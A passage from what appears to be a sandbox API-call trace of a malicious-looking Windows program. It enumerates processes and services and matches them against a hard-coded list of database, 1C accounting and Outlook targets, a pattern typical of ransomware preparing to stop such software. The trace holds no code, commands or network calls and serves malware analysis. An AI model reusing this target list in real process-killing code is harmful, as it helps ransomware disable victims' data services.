-1 [0164.995] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0164.995] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0164.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0164.995] lstrlenW (lpString="Winmgmt") returned 7 [0164.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0164.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0164.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0164.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0164.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0164.995] lstrlenW (lpString="WPDBusEnum") returned 10 [0164.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0164.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0164.995] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0164.995] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0164.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0164.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x687228 | out: hHeap=0x630000) returned 1 [0164.995] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0164.997] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.997] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0164.998] lstrlenW (lpString="System") returned 6 [0164.998] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0164.998] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0164.998] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0164.998] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0164.998] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0164.998] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0164.998] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0164.998] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0164.998] lstrlenW (lpString="smss.exe") returned 8 [0164.998] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0164.998] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0164.998] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0164.998] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0164.998] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0164.998] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0164.999] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0164.999] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.999] lstrlenW (lpString="csrss.exe") returned 9 [0164.999] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0164.999] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0164.999] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0164.999] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0164.999] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0164.999] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0164.999] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0164.999] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0164.999] lstrlenW (lpString="wininit.exe") returned 11 [0164.999] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0164.999] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0164.999] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0165.000] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0165.000] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0165.000] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0165.000] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0165.000] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.000] lstrlenW (lpString="csrss.exe") returned 9 [0165.000] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0165.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0165.000] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0165.000] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0165.000] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0165.000] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0165.000] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0165.001] lstrlenW (lpString="winlogon.exe") returned 12 [0165.001] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0165.001] lstrlenW (lpString="services.exe") returned 12 [0165.001] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0165.001] lstrlenW (lpString="lsass.exe") returned 9 [0165.001] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0165.002] lstrlenW (lpString="lsm.exe") returned 7 [0165.002] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.002] lstrlenW (lpString="svchost.exe") returned 11 [0165.002] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.002] lstrlenW (lpString="svchost.exe") returned 11 [0165.002] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.003] lstrlenW (lpString="svchost.exe") returned 11 [0165.003] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.003] lstrlenW (lpString="svchost.exe") returned 11 [0165.003] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.003] lstrlenW (lpString="svchost.exe") returned 11 [0165.003] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0165.004] lstrlenW (lpString="audiodg.exe") returned 11 [0165.004] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.004] lstrlenW (lpString="svchost.exe") returned 11 [0165.004] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0165.004] lstrlenW (lpString="explorer.exe") returned 12 [0165.004] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0165.005] lstrlenW (lpString="dwm.exe") returned 7 [0165.005] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.005] lstrlenW (lpString="svchost.exe") returned 11 [0165.005] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0165.005] lstrlenW (lpString="n.exe") returned 5 [0165.005] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0165.006] lstrlenW (lpString="spoolsv.exe") returned 11 [0165.006] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.006] lstrlenW (lpString="svchost.exe") returned 11 [0165.006] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0165.006] lstrlenW (lpString="taskhost.exe") returned 12 [0165.007] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0165.007] lstrlenW (lpString="reader_sl.exe") returned 13 [0165.007] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0165.007] lstrlenW (lpString="n.exe") returned 5 [0165.007] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0165.007] lstrlenW (lpString="n.exe") returned 5 [0165.008] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0165.008] CloseHandle (hObject=0x1ac) returned 1 [0165.008] Sleep (dwMilliseconds=0x1f4) [0165.661] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42f96e0 [0165.661] EnumServicesStatusExW (in: hSCManager=0x42f96e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0165.661] GetLastError () returned 0xea [0165.661] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x687228 [0165.662] EnumServicesStatusExW (in: hSCManager=0x42f96e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x687228, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x687228, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0165.662] CloseServiceHandle (hSCObject=0x42f96e0) returned 1 [0165.663] lstrlenW (lpString="Appinfo") returned 7 [0165.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0165.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0165.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0165.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0165.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0165.663] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0165.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.663] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0165.663] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0165.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0165.663] lstrlenW (lpString="AudioSrv") returned 8 [0165.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0165.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0165.663] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0165.663] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0165.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0165.663] lstrlenW (lpString="BFE") returned 3 [0165.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0165.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0165.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0165.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0165.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0165.663] lstrlenW (lpString="CryptSvc") returned 8 [0165.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0165.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0165.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0165.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0165.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0165.664] lstrlenW (lpString="CscService") returned 10 [0165.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0165.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0165.664] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0165.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0165.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0165.664] lstrlenW (lpString="DcomLaunch") returned 10 [0165.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0165.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0165.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0165.664] lstrlenW (lpString="Dhcp") returned 4 [0165.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0165.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0165.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0165.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0165.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0165.664] lstrlenW (lpString="Dnscache") returned 8 [0165.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0165.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0165.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0165.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0165.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0165.664] lstrlenW (lpString="DPS") returned 3 [0165.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0165.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0165.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0165.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0165.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0165.665] lstrlenW (lpString="eventlog") returned 8 [0165.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0165.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0165.665] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0165.665] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0165.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0165.665] lstrlenW (lpString="EventSystem") returned 11 [0165.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0165.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0165.665] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0165.665] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0165.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0165.665] lstrlenW (lpString="gpsvc") returned 5 [0165.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0165.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0165.665] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0165.665] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0165.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0165.665] lstrlenW (lpString="iphlpsvc") returned 8 [0165.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.665] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0165.665] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0165.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0165.665] lstrlenW (lpString="LanmanServer") returned 12 [0165.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0165.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0165.665] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0165.665] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0165.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0165.665] lstrlenW (lpString="LanmanWorkstation") returned 17 [0165.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.666] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0165.666] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0165.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0165.666] lstrlenW (lpString="lmhosts") returned 7 [0165.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0165.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0165.666] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0165.666] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0165.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0165.666] lstrlenW (lpString="MMCSS") returned 5 [0165.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0165.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0165.666] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0165.666] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0165.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0165.666] lstrlenW (lpString="MpsSvc") returned 6 [0165.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0165.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0165.666] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0165.666] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0165.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0165.666] lstrlenW (lpString="Netman") returned 6 [0165.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0165.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0165.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0165.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0165.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0165.666] lstrlenW (lpString="netprofm") returned 8 [0165.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0165.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0165.667] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0165.667] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0165.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0165.667] lstrlenW (lpString="NlaSvc") returned 6 [0165.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0165.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0165.667] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0165.667] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0165.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0165.667] lstrlenW (lpString="nsi") returned 3 [0165.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0165.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0165.667] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0165.667] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0165.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0165.667] lstrlenW (lpString="PcaSvc") returned 6 